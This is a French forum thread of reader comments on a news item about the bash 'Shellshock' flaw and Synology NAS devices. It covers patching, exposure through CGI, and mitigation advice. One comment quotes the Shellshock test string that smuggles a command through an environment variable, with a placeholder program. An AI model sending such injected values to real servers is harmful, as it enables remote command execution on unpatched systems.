Y’a t’il tout de même un risque pour un Syno ayant les fonctions Telnet/SSH désactivés?



edit: idem je viens de voir une update 7 mais le patch note s’arrête à l’update 5 donc impossible de savoir à quoi cela correspond…

votre avatar







heiwa a écrit :



Y’a t’il tout de même un risque pour un Syno ayant les fonctions Telnet/SSH désactivés?



edit: idem je viens de voir une update 7 mais le patch note s’arrête à l’update 5 donc impossible de savoir à quoi cela correspond…







J’ai huit NAS Synology à mettre à jour, je viens de découvrir le patch.



Pour une Syonolgy avec les fonctions Telnet/SSH désactivées, je ne pense pas qu’il y ait un risque, sachant que le bash sur Synology OS est limité en capacités.



Par contre, j’ai fait des heures supplémentaires pour les autres serveurs, CentOS oblige…


votre avatar







carbier a écrit :



Je ne pense rien du tout… Je remarque simplement qu’une faille a été trouvée alors qu’elle était présente depuis pas mal d’années… donc bien malin celui qui pourra dire que d’autres n’existent pas…





La faille HeartBleed existait depuis plusieurs années. Quand elle a été découverte elle a été patchée en moins de 48h.



Cette faille bash existait depuis plusieurs années. Quand elle a été découverte elle a été patchée en moins de 48h.



On peut donc légitimement estimer qu’il existe d’autres failles, qui existent aussi depuis plusieurs années, et quand elles seront découvertes elles seront probablement patchées en moins de 48h. <img data-src=" />


votre avatar







atomusk a écrit :



Si je ne m’abuse, même sans serveur Web c’est quand même une faille d’élévation de privilèges extrêmement grave <img data-src=" />





peux tu nous montrer où tu vois une élévation de privilège dans :



env x=‘() { :;}; invocationd’1programme’ bash -c ‘echo hello’



pour l’instant on fait exécuter un programme à un passage de paramètre, avec les droit de celui qui est régulièrement connecté (apache par exemple).


votre avatar







bandix400 a écrit :



peux tu nous montrer où tu vois une élévation de privilège dans :



env x=‘() { :;}; invocationd’1programme’ bash -c ‘echo hello’



pour l’instant on fait exécuter un programme à un passage de paramètre, avec les droit de celui qui est régulièrement connecté (apache par exemple).







J’ai fait mon mea culpa <img data-src=" />


votre avatar







Konrad a écrit :



Tous les gens sensés sont d’accord pour dire qu’un OS 100% sécurisé n’existe pas. Ceux qui prétendent le contraire sont juste des trolls.





Tout à fait. Mais là pour le coup la faille est dans un logiciel, bash, pas dans l’OS directement.


votre avatar







sylvere a écrit :



Tout à fait. Mais là pour le coup la faille est dans un logiciel, bash, pas dans l’OS directement.





Youpoudou, un petit débat sur ce qui fait ou non parti de l’OS, sujet du jour, le shell. <img data-src=" />


votre avatar







bons baisers de Szczebrzeszyn a écrit :



J’ai huit NAS Synology à mettre à jour, je viens de découvrir le patch.



Pour une Syonolgy avec les fonctions Telnet/SSH désactivées, je ne pense pas qu’il y ait un risque, sachant que le bash sur Synology OS est limité en capacités.



Par contre, j’ai fait des heures supplémentaires pour les autres serveurs, CentOS oblige…





Ok, merci pour ces précisions. Ca me rassure un peu. ^^



Je viens d’effectuer la MAJ update 7 à l’instant (toute ‘petite’ qui ne nécessite aucun redémarrage). <img data-src=" />



edit: et bon courage à tout les sys admin qui font des heures supp en ce moment


votre avatar

bon j’ai eu une mise a jour pour mon DS1513+ ( DSM 5.0-4493 update 7 alors que jetait en update 5)



depuis je ne peut plus y accédé par le web <img data-src=" />



yeahhhhhhhhhhhhhh <img data-src=" />





Dear user,



A new version of DSM has been downloaded and is ready to install. Please sign into NAS1513+ and go to Control Panel &gt; Update & Restore to install DSM 5.0-4493 update 7.



Sincerely,

Synology DiskStation

votre avatar







TaigaIV a écrit :



Youpoudou, un petit débat sur ce qui fait ou non parti de l’OS, sujet du jour, le shell. <img data-src=" />





disons que la faille est utilisable parce que des services appellent bash comme interpréteur de scripts.

Exemple: apache qui appelle des scripts CGI écrits en bash,

ici bash n’est pas utilisé comme un shell mais bien comme un langage de programmation au même titre que java ou python ou ruby.



ou pourrait faire tourner apache qui appelle en CGI le script bash sur n’importe quel OS où ces applis sont disponibles et avoir la même faille, même sur Windows


votre avatar







TaigaIV a écrit :



Youpoudou, un petit débat sur ce qui fait ou non parti de l’OS, sujet du jour, le shell. <img data-src=" />





Oui, on peut considérer que le shell fait partie du système. Ceci dit, sous Debian il y a une vingtaine de shells disponibles, donc bash n’est pas du tout nécéssaire.


votre avatar







Quiproquo a écrit :



Oui, on peut considérer que le shell fait partie du système. Ceci dit, sous Debian il y a une vingtaine de shells disponibles, donc bash n’est pas du tout nécéssaire.





c’est pas le fait d’avoir bash installé qui crée une faille c’est d’avoir des services (apache, ssh, dhcp) qui appellent bash.

En ce sens là oui linux est surement plus touché car il y a plus de services qui utilisent bash comme interpréteur de script.

D’ailleurs Apple a dit que la faille de bash n’était pas un problème pour eux car aucun service par défaut n’utilise bash.

Et comme dit précédemment, quoi qu’il en soit utiliser des scripts bash est toujours très dangereux et casse gueule au niveau sécurité et même avec cette faille corrigée il vaut mieux utiliser un langage plus clair comme python pour du cgi.


votre avatar







sylvere a écrit :



disons que la faille est utilisable parce que des services appellent bash comme interpréteur de scripts.

Exemple: apache qui appelle des scripts CGI écrits en bash,

ici bash n’est pas utilisé comme un shell mais bien comme un langage de programmation au même titre que java ou python ou ruby.



ou pourrait faire tourner apache qui appelle en CGI le script bash sur n’importe quel OS où ces applis sont disponibles et avoir la même faille, même sur Windows





Je ne vois pas trop le rapport avec mon commentaire auquel tu réponds.



Que ce soit depuis une ligne de commande ou dans un script (quelque soit la façon de le lancer) ça reste le même binaire avec le même problème.


votre avatar







sylvere a écrit :



c’est pas le fait d’avoir bash installé qui crée une faille c’est d’avoir des services (apache, ssh, dhcp) qui appellent bash.

En ce sens là oui linux est surement plus touché car il y a plus de services qui utilisent bash comme interpréteur de script.

D’ailleurs Apple a dit que la faille de bash n’était pas un problème pour eux car aucun service par défaut n’utilise bash.

Et comme dit précédemment, quoi qu’il en soit utiliser des scripts bash est toujours très dangereux et casse gueule au niveau sécurité et même avec cette faille corrigée il vaut mieux utiliser un langage plus clair comme python pour du cgi.





La faille est bien dans bash. Apache, ssh, dhcp et autres sont des moyens de l’exploiter à distance. Apple pourra dire ce qu’il veut si la faille n’est pas corrigé le système reste vulnérable, même si plus difficilement exploitable. Peut-être que certains utilisateurs ont l’audace de ne pas utiliser que les services par défaut.


votre avatar







John Shaft a écrit :



Yup. Mais ça reste une abomination sans nom qui écorche les oreilles et oeuvre au retours des Grands Anciens







Puisque tu me reprends, permets-moi de te dire qu’on n’écrit pas oeuvre mais œuvre.



Même si oeuvre est un mot accepté par les correcteurs orthographiques, cela reste une abomination.



Ah oui, retour ne prends pas non plus de s ici.



Sans rancune.


votre avatar







TaigaIV a écrit :



Que ce soit depuis une ligne de commande ou dans un script (quelque soit la façon de le lancer) ça reste le même binaire avec le même problème.





Je pense que tu as mal compris comment fonctionne la faille.



La faille fonctionne parce qu’un service appelant (comme apache) va insérer dans une variable d’environnement une commandes malintentionnées, à cause d’une mauvaise validation d’un formulaire par exemple, et qui sera exécuté lors du lancement de bash.



Quand tu utilises bash comme shell tu t’en fous, quand tu lances bash tu ne va pas t’insérer toi même des commandes qui utilisent la faille… C’est un problème uniquement quand bash est lancé par des services accessibles à distance, avec les variables d’environnement manipulables à distance.


votre avatar







neointhematrix a écrit :



Ah oui, retour ne prends pas non plus de s ici.





Et “prends” ne prend pas non plus de ’s’ ici <img data-src=" /> <img data-src=" />


votre avatar

<img data-src=" /> moi qui croyais que Linux/Unix c’était vachement plus secure que crosoft <img data-src=" />



<img data-src=" />

votre avatar







ActionFighter a écrit :



Et “prends” ne prend pas non plus de ’s’ ici <img data-src=" /> <img data-src=" />







Pas faux :)


votre avatar







NonMais a écrit :



<img data-src=" /> moi qui croyais que Linux/Unix c’était vachement plus secure que crosoft <img data-src=" />



<img data-src=" />





Ça sent le barbecue ici <img data-src=" />


votre avatar







sylvere a écrit :



Je pense que tu as mal compris comment fonctionne la faille.



La faille fonctionne parce qu’un service appelant (comme apache) va insérer dans une variable d’environnement une commandes malintentionnées, à cause d’une mauvaise validation d’un formulaire par exemple, et qui sera exécuté lors du lancement de bash.



Quand tu utilises bash comme shell tu t’en fous, quand tu lances bash tu ne va pas t’insérer toi même des commandes qui utilisent la faille… C’est un problème uniquement quand bash est lancé par des services accessibles à distance, avec les variables d’environnement manipulables à distance.







Je crois que c’est l’inverse. Il n’y a pas besoin d’une mauvaise validation d’un formulaire, il suffit d’un élément quelconque de la requête qui sera passé en variable d’environnement, et il y en a tout un tas (par exemple content-type dans une des poc). Je pense qu’en réfléchissant un peu il y aura moyen d’exploiter utilement la faille en locale.



votre avatar







OlivierJ a écrit :



Ça me fait toujours sourire, le terme “légitimant” ne figurant pas dans ta page liée. Et on ne peut pas dire qu’on trouve quelque chose “légitimant”, je pensais que c’était une boutade.

Pas forcément obligé <img data-src=" /> .





Je te suggère sérieusement de réfléchir et vérifier avant de parler, ça fait deux fois que, en voulant défendre l’Académie française, tu te places dans le camp de ceux qui ne maîtrisent pas autant la langue qu’ils ne souhaiteraient le prétendre… <img data-src=" />

Légitimant : participe présent du verbe légitimer, existant en français depuis plusieurs siècles.

Si la simple application d’une règle de base te perturbe, on va pas pouvoir sereinement continuer à discuter… <img data-src=" />

Mais bref, de toute façon on est tellement HS… <img data-src=" />


votre avatar







Citan666 a écrit :



Légitimant : participe présent du verbe légitimer, existant en français depuis plusieurs siècles.





Merci, je connaissais la notion de participe présent, ça ne m’avait pas échappé.



On ne dit pas plus “c’est légitimant” que “c’est solutionné”. <img data-src=" />

Je peux même te donner une expression plus correcte et pertinente.


votre avatar

Mon mien n’est pas dedans o//



En attendant la mise à jour de sécurité, peut-être désactiver l’accès au terminal à titre préventif sur les NAS concernés ?

votre avatar

Est-ce que la faille touche seulement Bash ou touche-t-elle aussi Dash (non pas la lessive…) ?



Juste pour savoir si mon Raspberry Pi est impacté ^^

votre avatar

Bizarre, le RS812+ est dedans, mais pas le RS812 ?! Pourtant la base est la même … sauf processeur & ram …

votre avatar

“Linux et Linux sont concernés”. Merci on n’en demandait pas tant lol

votre avatar







ysuire a écrit :



“Linux et Linux sont concernés”. Merci on n’en demandait pas tant lol





Haa monsieur il y a Linux et Linux.


votre avatar







ysuire a écrit :



“Linux et Linux sont concernés”. Merci on n’en demandait pas tant lol







Fixed <img data-src=" />, mais il y a un bouton dédié pour signaler les erreurs ;)


votre avatar







Larsene_IT a écrit :



Bizarre, le RS812+ est dedans, mais pas le RS812 ?! Pourtant la base est la même … sauf processeur & ram …





Aucune idée. Il semblerai que seul bash soit concerné et pas dash (que je ne connaissais pas) ni ksh …


votre avatar







neointhematrix a écrit :



Est-ce que la faille touche seulement Bash ou touche-t-elle aussi Dash (non pas la lessive…) ?



Juste pour savoir si mon Raspberry Pi est impacté ^^





Dash ?

https://developer.mozilla.org/fr/docs/Web/HTML/DASH_Adaptive_Streaming_for_HTML_…


votre avatar







neointhematrix a écrit :



Est-ce que la faille touche seulement Bash ou touche-t-elle aussi Dash (non pas la lessive…) ?



Juste pour savoir si mon Raspberry Pi est impacté ^^





Juste bash :

linuxfr


votre avatar







Crysalide a écrit :



Dash ?

https://developer.mozilla.org/fr/docs/Web/HTML/DASH_Adaptive_Streaming_for_HTML_…





Dash

Après je ne sais pas si c’est impacté.


votre avatar







neointhematrix a écrit :



Juste pour savoir si mon Raspberry Pi est impacté concerné, touché, affecté^^







<img data-src=" />



(impacter -&gt; pas français. Et il n’a pas spécialement ce sens en angliche et en tout cas, cet usage est déconseillé)



Merci ! <img data-src=" />


votre avatar



le « système d’exploitation de Synology, le Disk Station Manager (DSM), est protégé par défaut. Le Bash intégré au DSM est réservé aux services du système (HA Manager) seulement et n’est pas disponible pour les utilisateurs publics ». Les NAS grand public ne sont donc pas concernés par défaut, ce qui n’est pas le cas des modèles plus haut de gamme.





Mouais … tant que quelqu’un n’a pas trouver une autre fail dans le même style que les injection sql, par exemple en passant par dsm photo en compte invité.



C’est pourtant pas compliqué de proposer une mise à jour du bash.

votre avatar







John Shaft a écrit :



<img data-src=" />



(impacter -&gt; pas français. Et il n’a pas spécialement ce sens en angliche et en tout cas, cet usage est déconseillé)



Merci ! <img data-src=" />







pourtant le larousse en parle

larousse.fr Larousse


votre avatar







NonMais a écrit :



<img data-src=" /> moi qui croyais que Linux/Unix c’était vachement plus secure que crosoft <img data-src=" />



<img data-src=" />





Ben oui qu’est-ce qui te fait croire le contraire ? <img data-src=" />


votre avatar







ActionFighter a écrit :



Et “prends” ne prend pas non plus de ’s’ ici <img data-src=" /> <img data-src=" />





D’ailleurs il ne prend ni p ni d dans ce contexte, ren.


votre avatar







Konrad a écrit :



Ben oui qu’est-ce qui te fait croire le contraire ? <img data-src=" />





En même temps c’est vrai qu’un serveur bien configuré au niveau de la gestion des droits protège contre la faille même en ayant une version vulnérable de bash.


votre avatar







TaigaIV a écrit :



D’ailleurs il ne prend ni p ni d dans ce contexte, ren.





Comprend pas <img data-src=" />



T’es anti-‘p’-’d’ ?


votre avatar







ActionFighter a écrit :



Comprend pas <img data-src=" />



T’es anti-‘p’-’d’ ?





Perso je n’ai rien contre personne, j’ai même un ami contre-nature, c’est la langue française qui est faites ainsi. <img data-src=" />


votre avatar







TaigaIV a écrit :



Je crois que c’est l’inverse. Il n’y a pas besoin d’une mauvaise validation d’un formulaire, il suffit d’un élément quelconque de la requête qui sera passé en variable d’environnement, et il y en a tout un tas (par exemple content-type dans une des poc). Je pense qu’en réfléchissant un peu il y aura moyen d’exploiter utilement la faille en locale.





localement oui, par un service qui appelle bash et qui tourne sur autre utilisateur que le tient. Ca permet de lancer une commande avec un privilège différent.

Mais on passe toujours par un service: on en est toujours à un service qui appelle un script bash.

Si on utilise bash juste comme shell du terminal c’est pas vraiment un problème. C’est pour ça que Apple n’est pas inquiet.


votre avatar







TaigaIV a écrit :



Perso je n’ai rien contre personne, j’ai même un ami contre-nature, c’est la langue française qui est faites ainsi. <img data-src=" />





C’est pas quelqu’un qui s’accoquine avec des dévots de Satan qui va me donner des cours de langue française <img data-src=" /> <img data-src=" />



edit : en plus, il y a une erreur à “faites”, on dit “la langue française est fête” <img data-src=" />


votre avatar







bandix400 a écrit :



peux tu nous montrer où tu vois une élévation de privilège dans :



env x=‘() { :;}; invocationd’1programme’ bash -c ‘echo hello’



pour l’instant on fait exécuter un programme à un passage de paramètre, avec les droit de celui qui est régulièrement connecté (apache par exemple).







Si je ne me trompe pas ( et je peux me tromper…), si a partir d’un accés limité ( client web), tu peux éffectuer des taches qui sont hors de ton privilège, c’est de l’élévation de privilège… Si en tant que client web, tu peux exécuter du code du user Server Web…



ou je dis une connerie ? <img data-src=" />


votre avatar

synology vient de déployer une mise a jour pour corriger les 2 failles



(update 7 pour DSM 5)

votre avatar







stefauresi a écrit :



synology vient de déployer une mise a jour pour corriger les 2 failles



(update 7 pour DSM 5)







Tout à fait.

maj en cours pour ma part.

Ils sont vraiment réactifs chez synology.



si seulement ils faisaient évoluer leurs apps WP8 avec autant de célérité


votre avatar

Y’a un truc que je comprends pas bien avec cette faille … les gens créent des applis qui lancent des commandes bash sans nettoyer les variables d’environnement, s’étonnent que ça crée une faille et crient au bug ? La faille ne serait pas plutôt dans les programmes qui lancent de telles commandes sans rien vérifier ?

votre avatar

En même temps, sauf exception, sur un NAS à part les utilisateurs admin personne doit avoir accès à un shell… <img data-src=" />

votre avatar

Déjà corrigé, merci OpenMediaVault <img data-src=" />

votre avatar







eres a écrit :



Si j’ai bien compris les conséquences du bug, sur un Synology il faut :




  • désactiver l’accès Telnet et SSH depuis l’extérieur (c’est un minimum, les VPN sont là pour ça non?) : Panneau de configuration &gt; Terminal & SNMP &gt; décocher Telnet ET SSH

  • fermer tous les accès aux services Web depuis l’extérieur, Apache pouvant utiliser “bash” : allez sur votre routeur/box pour désactiver le forwarding sur les ports 80,443,5000 et 5001



    A propos de HTTPD (from Red Hat : https://access.redhat.com/node/1200223)

    CGI scripts are likely affected by this issue: when a CGI script is run by the web server, it uses environment variables to pass data to the script. These environment variables can be controlled by the attacker. If the CGI script calls Bash, the script could execute arbitrary code as the httpd user. mod_php, mod_perl, and mod_python do not use environment variables and we believe they are not affected.





    Ou tout simplement ne pas permettre a apache d’exécuter un script bash, par contre aucun intérêt de désactiver ssh.


votre avatar







Resman a écrit :



Y’a un truc que je comprends pas bien avec cette faille … les gens créent des applis qui lancent des commandes bash sans nettoyer les variables d’environnement, s’étonnent que ça crée une faille et crient au bug ? La faille ne serait pas plutôt dans les programmes qui lancent de telles commandes sans rien vérifier ?





oui mais c’est pas si simple que ça de filtrer et de nettoyer correctement les variables d’environnement.

L’erreur c’est surtout d’utiliser des scripts bash pour des services sensibles, car au delà de ce bug un script bash est très difficile à sécuriser.


votre avatar







Resman a écrit :



Y’a un truc que je comprends pas bien avec cette faille … les gens créent des applis qui lancent des commandes bash sans nettoyer les variables d’environnement, s’étonnent que ça crée une faille et crient au bug ? La faille ne serait pas plutôt dans les programmes qui lancent de telles commandes sans rien vérifier ?





C’est surtout pourquoi des options envoyés par le serveur dhcp se retrouvent en variable d’environnement…


votre avatar







Niktareum a écrit :



Si, je la fais !

Mais en même temps, m’en cogne un peu, l’objectif étant la douce utopie, que dis-je, la gageure de ne plus voir de linuxiens au melon surdimensionné ne plus baver sur (voir ce que j’ai déjà dit).



<img data-src=" />





Non mais de toute façon bash c’est de la merde. Si à 20 ans t’as pas switché sur ksh t’as raté ta vie. ksh c’est le seul vrai shell linux. Moi je l’utilise et je n’utilise que le meilleur. Bien fait pour tout ces pauvres qui utilisent bash, ça leur fera les pieds.



<img data-src=" /> (bon je retourne patcher mes serveurs moi, maintenant que j’ai récupéré internet <img data-src=" />)


votre avatar







Khalev a écrit :



Si à 20 ans t’as pas switché sur ksh t’as raté ta vie.

<img data-src=" />







<img data-src=" />


votre avatar

Si j’ai bien compris les conséquences du bug, sur un Synology il faut :




  • désactiver l’accès Telnet et SSH depuis l’extérieur (c’est un minimum, les VPN sont là pour ça non?) : Panneau de configuration &gt; Terminal & SNMP &gt; décocher Telnet ET SSH

  • fermer tous les accès aux services Web depuis l’extérieur, Apache pouvant utiliser “bash” : allez sur votre routeur/box pour désactiver le forwarding sur les ports 80,443,5000 et 5001



    A propos de HTTPD (from Red Hat : https://access.redhat.com/node/1200223)

    CGI scripts are likely affected by this issue: when a CGI script is run by the web server, it uses environment variables to pass data to the script. These environment variables can be controlled by the attacker. If the CGI script calls Bash, the script could execute arbitrary code as the httpd user. mod_php, mod_perl, and mod_python do not use environment variables and we believe they are not affected.

votre avatar







roswell51 a écrit :



pourtant le larousse en parle

larousse.fr Larousse







Yup. Mais ça reste une abomination sans nom qui écorche les oreilles et oeuvre au retours des Grands Anciens <img data-src=" />







cyri11e a écrit :



sinon INpacter <img data-src=" />







Oui, mais seulement ici <img data-src=" />


votre avatar







roswell51 a écrit :



pourtant le larousse en parle

larousse.fr Larousse





Le Larousse n’est pas le dictionnaire de référence de la langue française. Celui de référence est celui de l’académie française et le verbe “impacter” n’est pas présent.



Voici ce que dit l’académie française à propos de “impacter” :

http://www.academie-francaise.fr/impacter


votre avatar







Darnel a écrit :



Si on prend en compte les applis tiers, comptons le nombre de devices contaminés par Java ou Flash player (liste à compléter) ;)





cygwin n’est pas une appli tiers, c’est une distribution.


votre avatar







psn00ps a écrit :



cygwin n’est pas une appli tiers, c’est une distribution.





Je souligne juste qu’il n’est pas fourni nativement avec windows.


votre avatar







Darnel a écrit :



Je souligne juste qu’il n’est pas fourni nativement avec windows.





Avec linux non plus.



Avec Gnu/Linux… ça dépend <img data-src=" />


votre avatar







Niktareum a écrit :



Sinon, c’est cool, un virus linux, ptete qu’ils se calmeront un peu les linuxiens a troller sur chaque news des patchs tuesday et autres joyeusetés du monde dominant (mais loin d’etre parfait, comme les autres) qu’est celui de windows.





C’est toi qui devrais te calmer, il s’agit d’une faille, non pas dans Linux mais dans l’interpréteur de commandes bash, et rien n’indique qu’elle ait été exploitée, ni par un virus ni par autre chose… Alors avant de dire que les autres trollent, sois bien sûr de ne pas troller toi-même <img data-src=" />


votre avatar







Konrad a écrit :



et rien n’indique qu’elle ait été exploitée, ni par un virus ni par autre chose





Euh…

http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3505#p23987


votre avatar

Vu que Niktareum avait l’air de vouloir être constructif, il est bloqué sur la news <img data-src=" />

votre avatar







Khalev a écrit :



Euh…

http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3505#p23987





OK, merci pour le lien. Vu que le patch est sorti le 25 (soit le même jour que le 0-day), il est urgent que les admin système mettent à jour bash (encore une fois les utilisateurs qui n’ont pas de serveur Web ni rien chez eux, ne sont pas exposés).


votre avatar







Konrad a écrit :



OK, merci pour le lien. Vu que le patch est sorti le 25 (soit le même jour que le 0-day), il est urgent que les admin système mettent à jour bash (encore une fois les utilisateurs qui n’ont pas de serveur Web ni rien chez eux, ne sont pas exposés).







Si je ne m’abuse, même sans serveur Web c’est quand même une faille d’élévation de privilèges extrêmement grave <img data-src=" />



Oui, c’est BIEN moins grave qu’avec un serveur Web, mais pas à négliger non plus.


votre avatar







eres a écrit :



…

A propos de HTTPD (from Red Hat : https://access.redhat.com/node/1200223)

CGI scripts are likely affected by this issue: when a CGI script is run by the web server, it uses environment variables to pass data to the script. These environment variables can be controlled by the attacker. If the CGI script calls Bash, the script could execute arbitrary code as the httpd user. mod_php, mod_perl, and mod_python do not use environment variables and we believe they are not affected.







Ça me permet de revenir sur ce que je disais (implicitement) avant le WE:

Pour un programme serveur qui reçoit des variables d’environnement, il est nécessaire de les vérifier.



J’ai des vieux manuels Unix à la maison qui parlent des failles potentielles de sécurité avec les fonctions execpe execve et (surtout) system. En voilà un bel exemple.


votre avatar







atomusk a écrit :



Si je ne m’abuse, même sans serveur Web c’est quand même une faille d’élévation de privilèges extrêmement grave <img data-src=" />



Oui, c’est BIEN moins grave qu’avec un serveur Web, mais pas à négliger non plus.





Je vais être honnête et dire que je ne comprends pas assez cette faille pour bien connaître les risques <img data-src=" />



En revanche je fais confiance au fait que si je patche, je ne suis plus vulnérable (j’ai patché toutes mes machines vendredi). <img data-src=" />


Faille du Bash : les NAS ne sont pas épargnés

Fermer